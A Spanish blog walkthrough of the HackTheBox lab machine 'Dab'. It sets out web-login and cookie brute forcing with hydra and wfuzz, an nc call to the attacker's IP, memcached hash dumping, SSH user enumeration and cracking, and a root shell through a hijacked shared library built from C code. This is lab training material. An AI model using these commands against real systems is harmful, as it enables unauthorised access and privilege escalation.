Advertisement

header ads

DAB - HACKTHEBOX MACHINE

Vamos a jugar un desafio de hackthebox llamado Dab...

Empecemos:
Primeramente agregamos /etc/hosts
nano /etc/hosts
10.10.10.86     dab.htb         dab
Luego vamos por un profundo escaneo de puertos.
nmap -T4 -A -p- 10.10.10.86


Encontramos: 21 tcp ftp 22 tcp openssh 80 tcp web 8080 tcp web Intente buscar directorios y solo encontre /login y /logout y no encontre nada de contraseñas. En el puerto 80 encontramos un formulario de inicio de sesión y en el puerto 8080 vemos una cookie de contraseña incorrecta. Ahora tratemos de hacer fuerza bruta con hidra.
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=admin&password=^PASS^&submit=Login:Error" -t 64

Ahora podemoe tener mas información. Ahora vemos el puerto 8080 en el cual nos menciona sobre las cookie, así que asumo que tengo que usar esta cookie para obtener una contraseña.
GET / HTTP/1.1
Host: 10.10.10.86:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DxqkiA.OYuJHTWIWB1g9SZkiYc-kfcRhdY
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

wfuzz -c -z file,/usr/share/seclists/Passwords/UserPassCombo-Jay.txt --hh 324 -u http://10.10.10.86:8080 -b password=FUZZ -t 50
Estoy haciendo fuerza bruta desde la cookie.
Nuestro resultado es secret.
GET / HTTP/1.1
Host: 10.10.10.86:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.DxqkiA.OYuJHTWIWB1g9SZkiYc-kfcRhdY;password=secret;
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Ahora mostrando la respuesta en el navegador, estamos en la página que nos pide un puerto TCP y una línea para ejecutar:
http://10.10.10.86:8080/socket?port=6969&cmd=nc%2010.10.13.155
cuando ejecutamos cualquier comando vemos "intento de hacking" por lo que se está ejecutando memcached. Ahora he googleado sobre "memcached".... es un sistema distribuido de propósito general para caché basado en memoria, diseñado por Danga Interactive y que es muy usado en la actualidad por múltiples sitios web. Osea un caché basado en claves que almacena datos y objetos. Dondequiera que haya RAM disponible para un acceso rápido por las aplicaciones, sin pasar por las capas de análisis I/O de disco. De acuerdo con MySQL y la guía de memcached, por defecto, los usos de memcached los siguientes ajustes: • Asignación de memoria de 64MB • Escucha las conexiones en todas las interfaces de red, utilizando el puerto 11211 • Admite un máximo de 1024 conexiones simultáneas Al leer un montón sobre memcached encontré esta interesante información: HERE
Ahora podemos usar el siguiente comando, para ver cuántas tablas de datos había.
stats slabs
Segundo Comando:
stats cachedump 26 1000
stats cachedump 26 0
#26 es el número de slab donde se almacenaron los datos, había otras slab pero no contaban ningún dato. Esto nos muestra que hay una clave llamada usuarios así. Tercer Comando:
get key users
Esto nos muestra un dic con todos los usuarios y sus hash md5 496 usuarios.
Ahora vamos a seprar los usuarios y los hash.
cat get-users.txt | python -m json.tool > creadpag.txt
Ahora extraeremos los nombres de usuario y los hashes MD5 de creadpag.txt:
cat creadpag.txt | cut -d ":" -f 1 | cut -d '"' -f 2 > users.txt
Ahora para hacer tan sencillo vamos a usar metasploit para conseguir el usuario de ssh.
msfconsole -q
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 10.10.10.86 
set USER_FILE /root/Documents/HTB/Dab/users.txt
exploit
Y encontro la contraseña.
Ahora vamos a crackear los hash.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -o cracked.txt --force
Y para separlo
cat cracked.txt | cut -d ":" -f 2 > passwords.txt
Y hacemos una fuerza bruta a ssh
hydra -l 'genevieve' -P passwords.txt 10.10.10.86 ssh
Y ahora accedemos
ssh [email protected]
password: Princess1
Al usar "sudo -l" encontramos un binario que se encuentra en "/usr/bin/try_harder" pero realmente no me sirvio.... Ahora empece a enumerar
find / -user root -perm -4000 2>/dev/null
Notamos dos entradas inusuales en esta salida:
Ahora me lo descargo myexec a mi maquina con python -m SimpleHTTPServer 6969 y ejecutamos el siguiente comando:
radare2 myexec
[0x00400740]> aaa 
[0x00400740]> pdf @ main 
La contraseña es s3cur3l0g1n. Uno de los comandos (además de los típicos tales como getfacl, getcap, etc.) es objdump que muestra la información de los ficheros objeto. Vamos a mostrar el contenido de todas las cabeceras usando la opción -x para el miexec:
objdump -x /usr/bin/myexec
Como lo indica la salida, el binario de myexec depende de dos bibliotecas dinámicas (.so shared objects files). Esto significa que el programa hace referencia a estas bibliotecas en tiempo de ejecución (de manera similar a Windows .dll). Podemos ver esto ejecutando ldd que imprime dependencias de objetos compartidos:
ldd /usr/bin/myexec
Centrémonos en la biblioteca libseclogin.so, ya que libc es la biblioteca estándar de C. El libseclogin shared object es propiedad de root y no tenemos permisos de escritura en el directorio /usr/lib/ desde donde que se hace referencia a la biblioteca.
ls -la /usr/lib/libseclogin.so
-rwxr-xr-x 1 root root 8120 Mar 25 23:46 /usr/lib/libseclogin.so
Luego tenemos información para escalar privilegios.
nano /etc/ld.so.conf.d/priviesc.conf
agregamos
/dev/shm/
ldconfig /etc/ld.so.conf.d/priviesc.conf
cd /dev/shm
nano libseclogin.c
#include 
#include 
#include 
#include 
void seclogin()
{
        setuid(0);
        setgid(0);
        execl("/bin/bash","sh",(char *)0);
}
int main(void)
{
        seclogin();
}

Ahora lo compilamos.
gcc -shared -o libseclogin.so -fPIC libseclogin.c
ldconfig -l /dev/shm/libseclogin.so
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
myexec
como contraseñas "s3cur3l0g1n"
wc -c /root/root.txt
cat /root/root.txt
Listo tenemos root... joder si me costo demasiado! Gracias por leer el post

Post a Comment

0 Comments